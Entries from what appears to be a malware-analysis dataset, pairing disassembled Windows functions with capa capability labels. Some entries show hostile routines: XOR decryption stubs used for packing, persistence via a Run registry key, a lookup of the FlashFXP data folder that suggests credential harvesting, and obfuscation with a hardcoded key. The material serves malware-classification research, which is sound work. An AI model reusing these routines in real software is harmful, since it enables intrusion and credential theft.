joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45e7a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4b900c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [ebp - 0x10], eax
cmp dword [esi + 0x2c], 0
jne 0x45e7d2
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047e577
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [esi + 0x4c]
mov eax, 0x2aaaaaab
sub ecx, dword [esi + 0x48]
imul ecx
xor ecx, ecx
mov byte [ebp - 9], 0
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov byte [esi + 4], al
mov eax, dword [esi + 0x58]
sub eax, dword [esi + 0x54]
shr eax, 0xd
mov byte [esi + 5], al
mov eax, dword [esi + 0x40]
sub eax, dword [esi + 0x3c]
cmp ecx, eax
mov al, byte [esi + 6]
push ebx
sbb cl, cl
lea ebx, [esi + 0x30]
and al, 0xfb
and cl, 4
or cl, al
mov byte [esi + 6], cl
mov ecx, ebx
mov eax, dword [ebx]
push edi
mov dword [ebx + 4], eax
lea eax, [ebp - 9]
push eax
push 0x10
push dword [ebx]
lea eax, [ebp - 8]
push eax
call fcn.00420f00
mov eax, dword [ebx]
movups xmm0, xmmword [esi]
movups xmmword [eax], xmm0
mov ecx, dword [esi + 0x40]
mov eax, dword [esi + 0x3c]
sub ecx, eax
je 0x45e854
push dword [ebp - 0x10]
mov ecx, ebx
push dword [esi + 0x40]
push eax
push dword [esi + 0x34]
call fcn.00421290
xor edi, edi
cmp byte [esi + 4], 0
jbe 0x45e887
xor ebx, ebx
nop
mov eax, dword [esi + 0x48]
lea ecx, [esi + 0x30]
push dword [ebp - 0x10]
push dword [ebx + eax + 4]
push dword [ebx + eax]
push dword [esi + 0x34]
call fcn.00421290
movzx eax, byte [esi + 4]
lea ebx, [ebx + 0xc]
inc edi
cmp edi, eax
jl 0x45e860
lea ebx, [esi + 0x30]
push dword [ebp - 0x10]
mov ecx, ebx
push dword [esi + 0x58]
push dword [esi + 0x54]
push dword [esi + 0x34]
call fcn.00421290
mov edi, dword [ebp - 0x10]
test edi, edi
jne 0x45e8ac
cmp dword [esi + 0x24], 8
lea edi, [esi + 0x10]
jb 0x45e8ac
mov edi, dword [edi]
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], eax
cmp ecx, 0xffffffff
je 0x45e93c
mov edx, dword [ebx]
mov ecx, dword [ebx + 4]
push eax
mov dword [ebp - 8], eax
sub ecx, edx
lea eax, [ebp - 8]
push eax
push ecx
push edx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x45e904
mov eax, dword [ebx + 4]
xor ecx, ecx
sub eax, dword [ebx]
mov edx, 1
cmp dword [ebp - 8], eax
cmove ecx, edx
mov dword [ebp - 0x14], ecx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x45e93c
mov edx, edi
lea ecx, [edx + 2]
nop dword [eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x45e920
sub edx, ecx
lea ecx, [esi + 0x10]
sar edx, 1
push edx
push edi
call fcn.00408870
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
pop edi
pop ebx
xor ecx, ebp
pop esi
call fcn.0047e577
mov esp, ebp
pop ebp
ret 4
Function at 0x461680
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49a1f9
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x4b900c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x10], ebx
mov eax, dword [ebp + 8]
lea esi, [ebx + 0x14]
mov dword [ebx], eax
mov eax, dword [ebp + 0x10]
mov dword [ebx + 4], eax
mov al, byte [ebp + 0xc]
mov byte [ebx + 8], al
mov eax, dword [ebp + 0x18]
mov dword [ebx + 0xc], eax
mov eax, dword [ebp + 0x28]
mov dword [ebx + 0x10], eax
mov dword [ebp + 0xc], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0043f530
mov dword [esi], eax
mov dword [ebp - 4], 0
xor eax, eax
mov word [ebx + 0x1c], ax
mov eax, dword [ebp + 0x1c]
mov dword [ebx + 0x20], eax
mov eax, dword [ebp + 0x20]
mov dword [ebx + 0x24], eax
mov eax, dword [ebp + 0x24]
mov dword [ebx + 0x28], eax
mov dword [ebx + 0x2c], 0
mov dword [ebx + 0x30], 0
mov dword [ebx + 0x34], 0
mov dword [ebx + 0x38], 0
mov dword [ebx + 0x3c], 0
mov dword [ebx + 0x40], 0
lea edi, [ebx + 0x44]
mov byte [ebp - 4], 2
push 0
push ebx
mov ecx, edi
mov dword [ebp + 0xc], edi
call fcn.00472740
mov byte [ebp - 4], 3
lea esi, [edi + 0x4c]
mov dword [edi], 0x4a74ac
mov dword [edi + 0x3c], 0
mov dword [ebp + 8], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00407270
mov dword [esi], eax
xorps xmm0, xmm0
movq qword [edi + 0x40], xmm0
mov dword [edi + 0x48], 0
mov dword [edi], 0x4a797c
mov eax, dword [ebx + 0xc]
add eax, 8
mov dword [edi + 0x54], eax
mov eax, dword [ebp + 0x14]
mov dword [edi + 0x60], 0
mov dword [edi + 0x64], 0
mov dword [edi + 0x68], 0
mov dword [edi + 0x6c], 0
mov dword [edi + 0x70], 0
mov dword [edi + 0x74], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x5c], 0
mov dword [edi + 0x58], 0
mov dword [ebx + 0xbc], 0
mov dword [ebx + 0xc0], 0
mov dword [ebx + 0xc4], 0
mov dword [ebx + 0xc8], 0
mov dword [ebx + 0xcc], 0
mov dword [ebx + 0xd0], 0
mov dword [ebx + 0xdc], eax
mov eax, ebx
mov dword [ebx + 0xd4], 0
mov dword [ebx + 0xd8], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x24
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..3ean
nop
nop
mov ebx, 0x40915c
mov ecx, 0x3648504c
nop
nop
nop
nop
nop
test eax, eax
je 0x43104e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..7LWLf
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x9d252fd
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x10056d3
Capabilities:
Persist via run registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x100923c]
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x218], eax
mov esi, 0x104
xor ebx, ebx
push esi
lea eax, [ebp - 0x20c]
push eax
mov dword [ebp - 0x214], ebx
mov byte [ebp - 0x108], bl
mov byte [ebp - 0x20c], bl
call fcn.01005082
cmp eax, 1
jne 0x10057cb
lea eax, [ebp - 0x20c]
test eax, eax
je 0x10057cb
cmp byte [ebp - 0x20c], bl
je 0x10057cb
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x210], eax
je 0x10057cb
push dword [0x10091ac]
lea eax, [ebp - 0x108]
push dword [0x10091a8]
push 0x80000001
push esi
push eax
call fcn.01004e0d
cmp eax, 1
jne 0x10057bf
lea eax, [ebp - 0x108]
test eax, eax
je 0x10057bf
cmp byte [ebp - 0x108], bl
je 0x10057bf
push dword [ebp - 0x210]
call fcn.01004f7e
cmp eax, 1
jne 0x10057bf
push dword [ebp - 0x218]
lea eax, [ebp - 0x108]
push dword [ebp - 0x210]
push eax
call fcn.01005544
mov dword [ebp - 0x214], eax
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x214]
pop esi
pop ebx
call fcn.01005857
leave
ret 4

Function at 0x1005d44
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1005d5b
xor eax, eax
jmp 0x1005d63
shr eax, 4
not eax
and eax, 1
pop ebp
ret 4
Function at 0x401000
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push ebp
push esi
push edi
call fcn.0040eb78
push str._JAVA_LAUNCHER_DEBUG
mov eax, dword [eax]
mov dword [0x433680], eax
call fcn.0041db4e
xor ebp, ebp
pop ecx
test eax, eax
je 0x401059
push str.Windows_original_main_args:_n
call fcn.00401112
pop ecx
mov esi, ebp
call fcn.0040e6c7
cmp dword [eax], ebp
jle 0x401059
call fcn.0040e6cd
mov eax, dword [eax]
push dword [eax + esi*4]
push esi
push str.wwwd_args__d____s_n
call fcn.00401112
add esp, 0xc
inc esi
call fcn.0040e6c7
cmp esi, dword [eax]
jl 0x401037
call dword [sym.imp.kernel32.dll_GetCommandLineA]
push eax
call fcn.0040121d
call fcn.00401285
mov ebx, eax
lea ecx, [ebx*4 + 4]
push ecx
call fcn.00401135
pop ecx
pop ecx
mov esi, eax
call fcn.0040128b
mov edx, ebp
test ebx, ebx
jle 0x401093
mov ecx, dword [eax + edx*8]
mov dword [esi + edx*4], ecx
inc edx
cmp edx, ebx
jl 0x401088
mov edi, dword [str.java]
mov dword [esi + edx*4], ebp
test edi, edi
jne 0x4010a2
mov edi, dword [esi]
mov edx, dword [section..data]
test edx, edx
jne 0x4010ae
mov edx, dword [esi]
mov ecx, dword [0x432990]
push ebp
xor ebp, ebp
inc ebp
test ecx, ecx
push ebp
push ebp
setne al
movzx eax, al
push eax
push edi
push edx
push 0x426274
push 0x426278
push dword [0x432994]
push ebp
push ecx
push ebp
push esi
push ebx
call fcn.00401d65
add esp, 0x38
pop edi
pop esi
pop ebp
pop ebx
ret 0x10
Function at 0x404305
Capabilities:
Read file on windows

Disassembly:
push ecx
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
push edi
push 2
push 0xffffffffffffffff
push 0xffffffffffffffea
push ebp
call fcn.0041db4e
mov ebx, edx
add esp, 0x10
mov esi, eax
test ebx, ebx
jl 0x404478
jg 0x404334
test esi, esi
jb 0x404478
mov edi, dword [esp + 0x20]
push 0x16
push edi
push ebp
call fcn.004175dd
add esp, 0xc
test eax, eax
js 0x404478
movzx ecx, byte [edi + 3]
movzx eax, byte [edi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi]
shl ecx, 8
or ecx, eax
cmp ecx, 0x6054b50
jne 0x404396
push edi
call fcn.00404887
pop ecx
test eax, eax
je 0x40438d
push ebx
push esi
push edi
push ebp
call fcn.0041db4e
add esp, 0x10
mov esi, eax
mov ebx, edx
mov eax, esi
mov edx, ebx
jmp 0x40447d
push 2
xor ebx, ebx
push ebx
push ebx
push ebp
call fcn.0041db4e
mov ebp, eax
add esp, 0x10
mov eax, edx
mov dword [esp + 0x14], eax
cmp eax, ebx
jl 0x404478
jg 0x4043bf
cmp ebp, ebx
jb 0x404478
mov ecx, 0x10015
cmp eax, ebx
jg 0x4043d4
jl 0x4043ce
cmp ebp, ecx
jae 0x4043d4
mov esi, ebp
mov ecx, eax
jmp 0x4043d8
mov esi, ecx
mov ecx, ebx
mov eax, esi
neg eax
push 2
adc ecx, ebx
neg ecx
push ecx
push eax
push dword [esp + 0x28]
call fcn.0041db4e
add esp, 0x10
cmp edx, ebx
jl 0x404478
jg 0x4043fe
cmp eax, ebx
jb 0x404478
push 0x10015
call fcn.0041db4e
mov ebx, eax
pop ecx
test ebx, ebx
je 0x404478
push esi
push ebx
push dword [esp + 0x24]
call fcn.004175dd
add esp, 0xc
mov dword [esp + 0x10], eax
test eax, eax
js 0x404471
lea edx, [ebx + eax]
lea esi, [edx - 0x16]
jmp 0x40446d
cmp byte [esi], 0x50
jne 0x40446c
movzx ecx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 1]
shl ecx, 8
or ecx, eax
shl ecx, 8
or ecx, 0x50
cmp ecx, 0x6054b50
jne 0x40446c
movzx ecx, byte [esi + 0x15]
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
lea eax, [esi + 0x16]
add eax, ecx
cmp eax, edx
je 0x404484
dec esi
cmp esi, ebx
jae 0x40442d
push ebx
call fcn.0041db4e
pop ecx
or eax, 0xffffffff
or edx, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
push 0x16
push esi
push edi
call fcn.0040a170
push ebx
call fcn.0041db4e
mov eax, dword [esp + 0x20]
add eax, ebx
sub eax, esi
mov esi, dword [esp + 0x24]
cdq
sub ebp, eax
push edi
sbb esi, edx
call fcn.00404887
add esp, 0x14
test eax, eax
je 0x4044c4
push esi
push ebp
push edi
push dword [esp + 0x28]
call fcn.0041db4e
add esp, 0x10
mov ebp, eax
mov esi, edx
mov eax, ebp
mov edx, esi
jmp 0x40447d
Function at 0x405f69
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x114
mov eax, dword [0x432034]
xor eax, esp
mov dword [esp + 0x110], eax
mov eax, dword [esp + 0x118]
push ebx
mov ebx, dword [esp + 0x120]
push ebp
mov ebp, dword [sym.imp.advapi32.dll_RegEnumKeyA]
push esi
push edi
push 0x104
mov dword [esp + 0x18], eax
xor edi, edi
lea eax, [esp + 0x20]
xor esi, esi
push eax
push edi
push ebx
call ebp
test eax, eax
jne 0x40603c
mov eax, dword [esp + 0x14]
inc esi
push dword [eax + 8]
lea eax, [esp + 0x20]
push eax
call fcn.0040637f
pop ecx
pop ecx
test eax, eax
je 0x405ff4
test edi, edi
je 0x405fe7
lea eax, [esp + 0x1c]
push edi
push eax
call fcn.004063f2
pop ecx
pop ecx
test eax, eax
jle 0x405ff4
push edi
call fcn.00401157
pop ecx
lea eax, [esp + 0x1c]
push eax
call fcn.004011c5
pop ecx
mov edi, eax
push 0x104
lea eax, [esp + 0x20]
push eax
push esi
push ebx
call ebp
test eax, eax
je 0x405fb3
test edi, edi
je 0x40603c
lea eax, [esp + 0x10]
xor ebp, ebp
push eax
push 0x20019
push ebp
push edi
push ebx
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push edi
mov esi, eax
call fcn.00401157
pop ecx
test esi, esi
je 0x406057
cmp dword [esp + 0x10], ebp
je 0x40603c
push dword [esp + 0x10]
call dword [sym.imp.advapi32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [esp + 0x120]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004097b0
add esp, 0x114
ret
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x104
push eax
lea eax, [esp + 0x20]
push eax
push ebp
push ebp
push str.JavaHome
push dword [esp + 0x24]
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x40602c
cmp dword [esp + 0x10], ebp
je 0x40608e
push dword [esp + 0x10]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [esp + 0x1c]
push eax
call fcn.004011c5
pop ecx
jmp 0x40603e
Function at 0x406b00
Capabilities:
Enumerate files on windows

Disassembly:
push ecx
push ecx
push ebx
push esi
push 0x10
call fcn.004069bb
mov esi, eax
push 8
mov dword [esp + 0x10], esi
call fcn.00401135
pop ecx
pop ecx
push 0x432a38
push dword [esp + 0x18]
mov ebx, eax
mov dword [esp + 0x14], ebx
call dword [sym.imp.kernel32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x406b49
push ebx
call fcn.00401157
push esi
call fcn.0040690b
pop ecx
pop ecx
xor eax, eax
jmp 0x406c48
push ebp
mov dword [ebx], eax
mov dword [ebx + 4], 0x432a64
push edi
mov ebp, dword [ebx + 4]
test ebp, ebp
je 0x406b61
and dword [ebx + 4], 0
jmp 0x406b7a
push 0x432a38
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindNextFileA]
mov ebp, eax
neg ebp
sbb ebp, ebp
and ebp, 0x432a64
test ebp, ebp
je 0x406c2c
push ebp
call fcn.0040ee60
pop ecx
cmp eax, 4
jl 0x406b54
cmp byte [eax + ebp - 4], 0x2e
jne 0x406b54
lea edi, [eax - 3]
add edi, ebp
push 0x427a80
push edi
call fcn.00414230
pop ecx
pop ecx
test eax, eax
je 0x406bbc
push 0x427a84
push edi
call fcn.00414230
pop ecx
pop ecx
test eax, eax
jne 0x406b54
push 0x3b
push ebp
call fcn.0040bd70
pop ecx
pop ecx
test eax, eax
jne 0x406b54
push dword [esp + 0x1c]
call fcn.0040ee60
push ebp
mov edi, eax
call fcn.0040ee60
mov esi, eax
lea ecx, [esi + edi]
push ecx
call fcn.00401135
lea ecx, [edi - 1]
mov ebx, eax
push ecx
push dword [esp + 0x2c]
push ebx
call fcn.0040a170
lea ecx, [esi + 1]
push ecx
lea eax, [edi - 1]
add eax, ebx
push ebp
push eax
call fcn.0040a170
mov esi, dword [esp + 0x34]
mov eax, dword [esi + 4]
inc eax
push eax
push esi
call fcn.004067d7
mov ecx, dword [esi + 4]
add esp, 0x2c
mov eax, dword [esi]
mov dword [eax + ecx*4], ebx
inc dword [esi + 4]
mov ebx, dword [esp + 0x14]
jmp 0x406b54
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindClose]
push dword [ebx + 4]
call fcn.00401157
push ebx
call fcn.00401157
pop ecx
pop ecx
pop edi
mov eax, esi
pop ebp
pop esi
pop ebx
pop ecx
pop ecx
ret
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x26aa7926
nop
nop
nop
nop
test eax, eax
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x6a0503b4
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x4029be
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2068
call fcn.0040da80
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
xor esi, esi
cmp dword [0x4124e4], esi
push edi
mov dword [ebp - 8], esi
jne 0x4029f4
jmp 0x4029ea
push 0x2710
call ebx
call fcn.004071d3
cmp eax, 1
jne 0x4029e3
cmp dword [ebp + 0x18], esi
je 0x402a06
push 4
push esi
push 7
call fcn.0040ac39
add esp, 0xc
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor edi, edi
cmp dword [ebp + 0x14], esi
jle 0x402a39
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004074ea
add esp, 0xc
test eax, eax
jne 0x402a40
push 0xea60
inc edi
call ebx
cmp edi, dword [ebp + 0x14]
jl 0x402a16
xor eax, eax
jmp 0x402adf
cmp dword [ebp + 0x18], esi
je 0x402a52
push 4
push esi
push 8
call fcn.0040ac39
add esp, 0xc
push 0x44
lea eax, [ebp - 0x64]
push esi
push eax
call fcn.0040da00
lea eax, [ebp - 0x2064]
add esp, 0xc
push eax
mov edx, 0x40f5f0
call fcn.004057af
pop ecx
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x2064]
call fcn.0040578b
mov ecx, 0x40f5f4
call fcn.0040578b
cmp dword [ebp + 0x10], esi
je 0x402aaf
mov edx, dword [ebp + 0x10]
mov eax, str.none
call fcn.00405705
test eax, eax
je 0x402aaf
mov ecx, dword [ebp + 0x10]
lea eax, [ebp - 0x2064]
call fcn.0040578b
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x64]
push eax
push 0x422b90
push esi
push 0x20
push esi
push esi
push esi
lea eax, [ebp - 0x2064]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x402adc
or dword [ebp - 8], 8
jmp 0x402adf
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x1c]
cmp ecx, esi
je 0x402aeb
mov edx, dword [ebp - 8]
mov dword [ecx], edx
mov ecx, dword [ebp + 0x20]
cmp ecx, esi
je 0x402af4
mov dword [ecx], esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403668
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ecx]
sub esp, 0x140
push ebx
push esi
xor esi, esi
test ax, ax
push edi
mov edx, ecx
je 0x403693
movzx eax, ax
cmp ax, 3
je 0x40369b
inc edx
inc edx
movzx eax, word [edx]
test ax, ax
jne 0x403683
cmp word [edx], 3
je 0x40369b
xor edx, edx
test edx, edx
je 0x4036ab
call fcn.0040c830
mov dword [ebp - 4], eax
mov ebx, ecx
jmp 0x4036c3
lea ebx, [ebp - 0x40]
mov eax, ebx
push eax
mov edx, str.yA36zA48dEhfrvghGRg57h5UlDv3
mov dword [ebp - 4], 0x1c
call fcn.004057af
pop ecx
mov ecx, dword [ebp + 8]
call fcn.0040c830
cdq
sub eax, edx
mov edi, eax
sar edi, 1
cmp edi, 0xff
jge 0x403730
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x140]
call fcn.0040c6ff
test al, al
je 0x403730
dec edi
xor ecx, ecx
xor esi, esi
test edi, edi
jle 0x403726
cmp esi, dword [ebp - 4]
jne 0x4036fc
xor esi, esi
mov al, byte [ebx + esi*2]
xor al, byte [ebp + ecx - 0x13f]
mov dl, byte [ebp + ecx - 0x140]
cmp al, dl
jae 0x403713
dec al
sub al, dl
mov edx, dword [ebp + 8]
movzx ax, al
mov word [edx + ecx*2], ax
inc ecx
inc esi
cmp ecx, edi
jl 0x4036f5
mov eax, dword [ebp + 8]
and word [eax + ecx*2], 0
mov esi, ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4039cf
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
push ebx
push esi
push edi
push 8
xor ebx, ebx
push ebx
lea eax, [ebp - 8]
push eax
call fcn.0040c369
lea eax, [ebp - 0x70]
push eax
mov edx, str.SOFTWAREFlashFXP3
call fcn.004057af
pop ecx
lea eax, [ebp - 0x30]
push eax
mov edx, str.datafolder
call fcn.004057af
pop ecx
mov esi, 0x104
push esi
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x70]
push eax
lea edi, [ebp - 0x278]
mov eax, 0x80000002
call fcn.00408942
add esp, 0xc
cmp eax, 0xffffffff
je 0x403a54
cmp eax, ebx
jbe 0x403a54
push esi
lea eax, [ebp - 0x480]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x480]
push eax
call fcn.00403737
pop ecx
pop ecx
cmp dword [ebp - 4], ebx
jne 0x403ac9
lea eax, [ebp - 0x48]
push eax
mov edx, str.flashfxp
call fcn.004057af
lea eax, [ebp - 0x48]
pop ecx
mov dword [ebp - 0x18], 0x23
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x26
mov dword [ebp - 0xc], eax
xor esi, esi
lea eax, [ebp - 0x278]
push eax
push ebx
push ebx
push dword [ebp + esi*4 - 0x18]
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x403ac0
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push 0x40379e
push 2
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x278]
push eax
call fcn.004086fb
add esp, 0x24
inc esi
cmp esi, 3
jb 0x403a85
cmp dword [ebp - 4], ebx
jbe 0x403ad5
mov esi, dword [ebp - 8]
call fcn.0040362f
jmp 0x403ade
push dword [ebp - 8]
call fcn.0040c306
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403ae3
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [ecx]
imul eax, eax, 0x8088405
push 0x20
push 0
push dword [esp + 0xc]
inc eax
push 0
push eax
mov dword [ecx], eax
call fcn.00408a83
push edx
push eax
call fcn.00408a54
ret
Function at 0x403b06
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x108
push ebx
push esi
push edi
call fcn.0040c830
cdq
sub eax, edx
mov esi, eax
sar esi, 1
cmp esi, 0xff
jge 0x403c2b
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x108]
call fcn.0040c6ff
test al, al
je 0x403c2b
sub esi, 4
xor ebx, ebx
test esi, esi
mov dword [ebp - 4], 0xcf671
jle 0x403b73
push 8
lea ecx, [ebp - 4]
lea edi, [ebp + ebx - 0x108]
call fcn.00403ae3
pop ecx
movsx ecx, al
mov al, byte [edi]
rol al, cl
inc ebx
cmp ebx, esi
mov byte [edi], al
jl 0x403b53
mov dword [ebp - 4], 0x3039
mov dword [ebp - 8], 0x100
push esi
lea ecx, [ebp - 4]
call fcn.00403ae3
pop ecx
push esi
lea ecx, [ebp - 4]
movsx edi, al
call fcn.00403ae3
dec dword [ebp - 8]
pop ecx
movsx ecx, al
lea ecx, [ebp + ecx - 0x108]
mov bl, byte [ecx]
lea eax, [ebp + edi - 0x108]
mov dl, byte [eax]
mov byte [eax], bl
mov byte [ecx], dl
jne 0x403b81
xor edi, edi
test esi, esi
mov dword [ebp - 4], 0xa564
jle 0x403bdd
push 0x100
lea ecx, [ebp - 4]
call fcn.00403ae3
xor byte [ebp + edi - 0x108], al
inc edi
cmp edi, esi
pop ecx
jl 0x403bc3
xor edi, edi
test esi, esi
mov dword [ebp - 4], 0xd431
jle 0x403c04
push 0x100
lea ecx, [ebp - 4]
call fcn.00403ae3
sub byte [ebp + edi - 0x108], al
inc edi
cmp edi, esi
pop ecx
jl 0x403bea
xor eax, eax
test esi, esi
jle 0x403c1f
movzx cx, byte [ebp + eax - 0x108]
mov edx, dword [ebp + 8]
mov word [edx + eax*2], cx
inc eax
cmp eax, esi
jl 0x403c0a
mov eax, dword [ebp + 8]
and word [eax + esi*2], 0
mov eax, esi
jmp 0x403c2d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret